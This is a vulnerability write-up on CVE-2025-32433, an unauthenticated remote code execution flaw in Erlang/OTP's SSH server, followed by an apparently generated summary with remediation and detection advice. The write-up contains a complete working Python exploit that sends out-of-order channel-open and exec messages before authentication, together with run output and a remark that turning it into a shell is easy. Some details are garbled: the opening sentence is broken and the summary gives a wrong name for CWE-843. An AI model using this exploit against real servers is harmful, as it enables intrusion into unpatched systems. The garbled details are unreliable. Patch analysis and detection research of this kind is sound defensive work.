Full Report
CVE-2025-32433 is a remote code execution vulnerability in the SSH server implementation within Erlang’s OTP libraries (affecting versions legendary CVSS score of 10.0 and became known as a vulnerability for which AI-assisted exploit development process was used. CVE-2025-32433 has a potential for being exploited in the wild - for instance, a handful of Cisco product lines include Erlang/OTP which forced them to issue a security advisory. Analysis I like looking at the protocol RFCs and attempting to read the code written in unfamiliar programming languages, so here’s another, boots-on-the-ground approach to vulnerability analysis and PoC development. My test VM is Ubuntu Jammy, thus I’m interested in ~/Downloads % wget https://binaries2.erlang-solutions.com/ubuntu/pool/contrib/e/esl-erlang/esl-erlang_25.3.2-1~ubuntu~jammy_amd64.deb ~/Downloads % sudo dpkg -i esl-erlang_25.3.2-1\~ubuntu\~jammy_amd64.deb && sudo apt --fix-broken install Checking if Erlang shell is working: ~/Downloads % erl Erlang/OTP 25 [erts-13.2.2] [source] [64-bit] [smp:16:16] [ds:16:16:10] [async-threads:1] [jit:ns] Eshell V13.2.2 (abort with ^G) 1> For Erlang/OTP 25, this commit contains a patch, and has two peculiar snippets added: lib/ssh/src/ssh_connection.erl SNIP> handle_msg(#ssh_msg_disconnect{code = Code, description = Description}, Connection, _, _SSH) -> {disconnect, {Code, Description}, handle_stop(Connection)}; handle_msg(Msg, Connection, server, Ssh = #ssh{authenticated = false}) -> %% See RFC4252 6. %% Message numbers of 80 and higher are reserved for protocols running %% after this authentication protocol, so receiving one of them before %% authentication is complete is an error, to which the server MUST %% respond by disconnecting, preferably with a proper disconnect message %% sent to ease troubleshooting. MsgFun = fun(M) -> MaxLogItemLen = ?GET_OPT(max_log_item_len, Ssh#ssh.opts), io_lib:format("Connection terminated. Unexpected message for unauthenticated user." " Message: ~w", [M], [{chars_limit, MaxLogItemLen}]) end, ?LOG_DEBUG(MsgFun, [Msg]), {disconnect, {?SSH_DISCONNECT_PROTOCOL_ERROR, "Connection refused"}, handle_stop(Connection)}; SNIP> and lib/ssh/test/ssh_protocol_SUITE.erl SNIP> early_rce(Config) -> {ok,InitialState} = ssh_trpt_test_lib:exec([{set_options, [print_ops, print_seqnums, print_messages]}]), TypeOpen = "session", ChannelId = 0, WinSz = 425984, PktSz = 65536, DataOpen = >, SshMsgChannelOpen = ssh_connection:channel_open_msg(TypeOpen, ChannelId, WinSz, PktSz, DataOpen), Id = 0, TypeReq = "exec", WantReply = true, DataReq = ?STRING("lists:seq(1,10).">>)>>, SshMsgChannelRequest = ssh_connection:channel_request_msg(Id, TypeReq, WantReply, DataReq), {ok,AfterKexState} = ssh_trpt_test_lib:exec( [{connect, server_host(Config),server_port(Config), [{preferred_algorithms,[{kex,[?DEFAULT_KEX]}, {cipher,?DEFAULT_CIPHERS} ]}, {silently_accept_hosts, true}, {recv_ext_info, false}, {user_dir, user_dir(Config)}, {user_interaction, false} | proplists:get_value(extra_options,Config,[])]}, receive_hello, {send, hello}, {send, ssh_msg_kexinit}, {match, #ssh_msg_kexinit{_='_'}, receive_msg}, {send, SshMsgChannelOpen}, {send, SshMsgChannelRequest}, {match, disconnect(), receive_msg} ], InitialState), ok. SNIP> As previously stated, I’m not familiar with Erlang and its syntax, but snippet #1, lib/ssh/src/ssh_connection.erl, is well-annotated and readable enough. The key parts for me are this check: Ssh = #ssh{authenticated = false} and Message numbers of 80 and higher are reserved for protocols running after this authentication protocol comment. Sometimes peeking at the source code of a Wireshark dissector is quicker than reading the protocol RFC, so I head out here hoping to find out what SSH protocol messages > #80 do: epan/dissectors/packet-ssh.c SNIP> /* User authentication protocol: generic (50-59) */ #define SSH_MSG_USERAUTH_REQUEST 50 #define SSH_MSG_USERAUTH_FAILURE 51 #define SSH_MSG_USERAUTH_SUCCESS 52 #define SSH_MSG_USERAUTH_BANNER 53 /* User authentication protocol: method specific (reusable) (50-79) */ #define SSH_MSG_USERAUTH_PK_OK 60 /* Connection protocol: generic (80-89) */ #define SSH_MSG_GLOBAL_REQUEST 80 #define SSH_MSG_REQUEST_SUCCESS 81 #define SSH_MSG_REQUEST_FAILURE 82 /* Connection protocol: channel related messages (90-127) */ #define SSH_MSG_CHANNEL_OPEN 90 #define SSH_MSG_CHANNEL_OPEN_CONFIRMATION 91 #define SSH_MSG_CHANNEL_OPEN_FAILURE 92 #define SSH_MSG_CHANNEL_WINDOW_ADJUST 93 #define SSH_MSG_CHANNEL_DATA 94 #define SSH_MSG_CHANNEL_EXTENDED_DATA 95 #define SSH_MSG_CHANNEL_EOF 96 #define SSH_MSG_CHANNEL_CLOSE 97 #define SSH_MSG_CHANNEL_REQUEST 98 #define SSH_MSG_CHANNEL_SUCCESS 99 #define SSH_MSG_CHANNEL_FAILURE 100 SNIP> Message numbers look sequential, so at 80+ the RCE magic likely happens after the handshake, key exchange, and bypassing the authentication phase. It seems that before the patch, Erlang/OTP SSH server had no state machine case that would handle out-of-order protocol messages. Erlang snippet #2 above, lib/ssh/test/ssh_protocol_SUITE.erl is a freshly added test case, and contains obvious hints about the specific SSH protocol messages I’ll need to send in order to achieve RCE - MSG_CHANNEL_OPEN followed by MSG_CHANNEL_REQUEST. Attack plan: Connect over SSH normally until the key negotiation/exchange phase is complete DO NOT PERFORM AUTHENTICATION Craft and send MSG_CHANNEL_OPEN Follow up with MSG_CHANNEL_REQUEST ???? PROFIT!!1 PoC time Note that I resolve to using paramiko/common.py for message type constants and paramiko/message.py that contains Message class and its respective methods. This way, I could break the normal SSH flow without Paramiko throwing exceptions at me, and still send the RFC-compliant messages. Relevant sections from RFC4254: 6.1. Opening a Session A session is started by sending the following message. byte SSH_MSG_CHANNEL_OPEN string "session" uint32 sender channel uint32 initial window size uint32 maximum packet size 6.5. Starting a Shell or a Command This message will request that the user's default shell (typically defined in /etc/passwd in UNIX systems) be started at the other end. byte SSH_MSG_CHANNEL_REQUEST uint32 recipient channel string "exec" boolean want reply string command CVE-2025-32433.py #!/usr/bin/env python3 import logging import socket import time import paramiko from paramiko.common import cMSG_CHANNEL_OPEN, cMSG_CHANNEL_REQUEST from paramiko.message import Message logging.basicConfig(level=logging.INFO) logger = logging.getLogger('paramiko') logger.setLevel(logging.DEBUG) def main(): try: client = paramiko.SSHClient() print('Connecting to localhost:10022...\n') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect(('localhost', 10022)) transport = paramiko.Transport(sock) transport.start_client() print('\nSSH handshake / KEX complete :)\n') client._transport = transport m = Message() m.add_byte( cMSG_CHANNEL_OPEN) # https://github.com/wireshark/wireshark/blob/e6e27ae309ecb3ae97e5c1985ad4e6e14e98d592/epan/dissectors/packet-ssh.c#L523 m.add_string("session") # channel type m.add_int(0) # channel id m.add_int(425984) # window size m.add_int(65536) # max packet size print("Sending cMSG_CHANNEL_OPEN...") transport._send_message(m) time.sleep(0.5) m2 = Message() m2.add_byte( cMSG_CHANNEL_REQUEST) # https://github.com/wireshark/wireshark/blob/e6e27ae309ecb3ae97e5c1985ad4e6e14e98d592/epan/dissectors/packet-ssh.c#L531 m2.add_int(0) # channel id m2.add_string("exec") # request type m2.add_boolean(False) # don't wait for reply m2.add_string("os:cmd('touch /tmp/erl/nevergonnagiveyouup').") # https://www.erlang.org/doc/apps/kernel/os.html#cmd/2 print("Sending cMSG_CHANNEL_REQUEST, check RCE...") transport._send_message(m2) except Exception as e: print(f'Error: {e}') finally: try: client.close() except: pass if __name__ == '__main__': main() Starting vulnerable Erlang SSH server locally: ~ % mkdir -p /tmp/erl && ssh-keygen -q -N "" -t rsa -f /tmp/erl/ssh_host_rsa_key ~ % erl Erlang/OTP 25 [erts-13.2.2] [source] [64-bit] [smp:16:16] [ds:16:16:10] [async-threads:1] [jit:ns] Eshell V13.2.2 (abort with ^G) 1> {ok, _} = application:ensure_all_started(ssh). {ok,[crypto,asn1,public_key,ssh]} 2> Port = 10022. 10022 3> ssh:daemon(Port, [{system_dir, "/tmp/erl"}]). {ok,0.96.0>} 4> inet:i(). Port Module Recv Sent Owner Local Address Foreign Address State Type 40 inet_tcp 0 0 0.98.0> *:10022 *:* ACCEPTING STREAM ok Running PoC: ~ % ./CVE-2025-32433.py Connecting to localhost:10022... DEBUG:paramiko.transport:starting thread (client mode): 0xe7770910 DEBUG:paramiko.transport:Local version/idstring: SSH-2.0-paramiko_3.5.0 DEBUG:paramiko.transport:Remote version/idstring: SSH-2.0-Erlang/4.15.3 INFO:paramiko.transport:Connected (version 2.0, client Erlang/4.15.3) DEBUG:paramiko.transport:=== Key exchange possibilities === DEBUG:paramiko.transport:kex algos: ecdh-sha2-nistp384, ecdh-sha2-nistp521, ecdh-sha2-nistp256, diffie-hellman-group-exchange-sha256, diffie-hellman-group16-sha512, diffie-hellman-group18-sha512, diffie-hellman-group14-sha256, curve25519-sha256, [email protected], curve448-sha512, ext-info-s DEBUG:paramiko.transport:server key: rsa-sha2-256, rsa-sha2-512 DEBUG:paramiko.transport:client encrypt: [email protected], [email protected], aes256-ctr, aes192-ctr, [email protected], aes128-ctr, aes256-cbc, aes192-cbc, aes128-cbc, 3des-cbc DEBUG:paramiko.transport:server encrypt: [email protected], [email protected], aes256-ctr, aes192-ctr, [email protected], aes128-ctr, aes256-cbc, aes192-cbc, aes128-cbc, 3des-cbc DEBUG:paramiko.transport:client mac: [email protected], [email protected], hmac-sha2-256, hmac-sha2-512, [email protected], hmac-sha1 DEBUG:paramiko.transport:server mac: [email protected], [email protected], hmac-sha2-256, hmac-sha2-512, [email protected], hmac-sha1 DEBUG:paramiko.transport:client compress: none, [email protected], zlib DEBUG:paramiko.transport:server compress: none, [email protected], zlib DEBUG:paramiko.transport:client lang: none> DEBUG:paramiko.transport:server lang: none> DEBUG:paramiko.transport:kex follows: False DEBUG:paramiko.transport:=== Key exchange agreements === DEBUG:paramiko.transport:Kex: [email protected] DEBUG:paramiko.transport:HostKey: rsa-sha2-512 DEBUG:paramiko.transport:Cipher: aes128-ctr DEBUG:paramiko.transport:MAC: hmac-sha2-256 DEBUG:paramiko.transport:Compression: none DEBUG:paramiko.transport:=== End of kex handshake === DEBUG:paramiko.transport:kex engine KexCurve25519 specified hash_algo built-in function openssl_sha256> DEBUG:paramiko.transport:Switch to new keys ... DEBUG:paramiko.transport:Got EXT_INFO: {'server-sig-algs': b'ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ecdsa-sha2-nistp256,ssh-ed25519,ssh-ed448,rsa-sha2-256,rsa-sha2-512'} SSH handshake / KEX complete :) Sending cMSG_CHANNEL_OPEN... Sending cMSG_CHANNEL_REQUEST, check RCE... ~ % ls /tmp/erl nevergonnagiveyouup ssh_host_rsa_key ssh_host_rsa_key.pub Modifying PoC to run a different command / drop a shell is an easy part and is left to your discretion. ;) Thanks for reading!
Analysis Summary
# Vulnerability: Remote Code Execution in Erlang/OTP SSH Server due to Unauthenticated Protocol Handling
## CVE Details
- CVE ID: CVE-2025-32433
- CVSS Score: 10.0 (Legendary/Critical)
- CWE: CWE-843 (Access of Object after Free - *Inferred based on RCE; likely related to improper state machine handling*)
## Affected Systems
- Products: Erlang/OTP SSH server implementation, various products utilizing it (including Cisco product lines mentioned).
- Versions: Affected versions of Erlang/OTP 25 prior to the patch referenced in the commit `b63e6cab409782ec7c9b3f80de04637d1c29082b`. Specifically, the analysis tested on ESL Erlang release 25.3.2.
- Configurations: Any system running the vulnerable Erlang/OTP SSH server.
## Vulnerability Description
CVE-2025-32433 is a Remote Code Execution (RCE) vulnerability resulting from a missing or incorrect state machine check within the Erlang/OTP SSH server. Specifically, the server failed to enforce that messages reserved for post-authentication protocols ($\ge$ message number 80, such as `SSH_MSG_CHANNEL_OPEN` (90) and `SSH_MSG_CHANNEL_REQUEST` (98)) must not be processed before successful user authentication (`authenticated = false`). An attacker can connect, complete the key exchange (KEX) phase, and then send these later-stage protocol messages out-of-sequence to trigger arbitrary code execution via an `exec` channel request before authentication occurs. This vulnerability was noted as having been developed using AI assistance.
## Exploitation
- Status: PoC available (demonstrated successfully executing `touch /tmp/erl/nevergonnagiveyouup`).
- Complexity: Low (Requires establishing an SSH connection up to the KEX phase, bypassing authentication, and sending specific SSH protocol messages).
- Attack Vector: Network (Remote).
## Impact
- Confidentiality: High (Potential to view/exfiltrate sensitive data via the executed command).
- Integrity: High (Ability to modify system files or configurations via the executed command).
- Availability: High (Ability to crash the service or execute destructive commands).
## Remediation
### Patches
- The vulnerability is addressed in Erlang/OTP via commit `b63e6cab409782ec7c9b3f80de04637d1c29082b`. Users should update to a patched version of Erlang/OTP 25 or higher. The patch adds logic to disconnect if an unauthenticated user sends a message with a number $\ge 80$.
### Workarounds
- Implement network-level filtering to restrict access to the SSH port (default 22) only to trusted IP addresses, minimizing exposure until patching is complete.
- Enforce strong authentication mechanisms prior to allowing connection establishment if feasible within the network structure.
## Detection
- Indicators of Compromise:
- Anomalous SSH connections where the communication flow skips the standard authentication banners/prompts immediately following the KEX phase.
- Receipt of `SSH_MSG_CHANNEL_OPEN` (90) followed rapidly by `SSH_MSG_CHANNEL_REQUEST` (98) messages while the SSH session state indicates the user is not yet authenticated.
- System artifacts indicating execution of commands from unknown or unexpected user contexts on the SSH server host during the initial connection phase.
- Detection methods and tools:
- Monitoring SSH server logs for disconnects attributed to `Disconnect_Reason` codes corresponding to "protocol error" or "unexpected message for unauthenticated user" occurring shortly after KEX completion.
- Network intrusion detection systems (NIDS) tuned to detect non-standard SSH protocol message sequencing for unauthenticated sessions.
## References
- Vendor Advisories: Vendors using vulnerable Erlang/OTP in their products (e.g., Cisco) have issued security advisories referencing CVE-2025-32433.
- Relevant links - defanged:
- Erlang/OTP Patch Source: hxxps://github[.]com/erlang/otp/commit/b63e6cab409782ec7c9b3f80de04637d1c29082b
- Wireshark Dissector Reference: hxxps://github[.]com/wireshark/wireshark/blob/e6e27ae309ecb3ae97e5c1985ad4e6e14e98d592/epan/dissectors/packet-ssh.c#L518
- RFC 4254 (For context on SSH Channels): hxxps://www.rfc-editor[.]org/rfc/rfc4254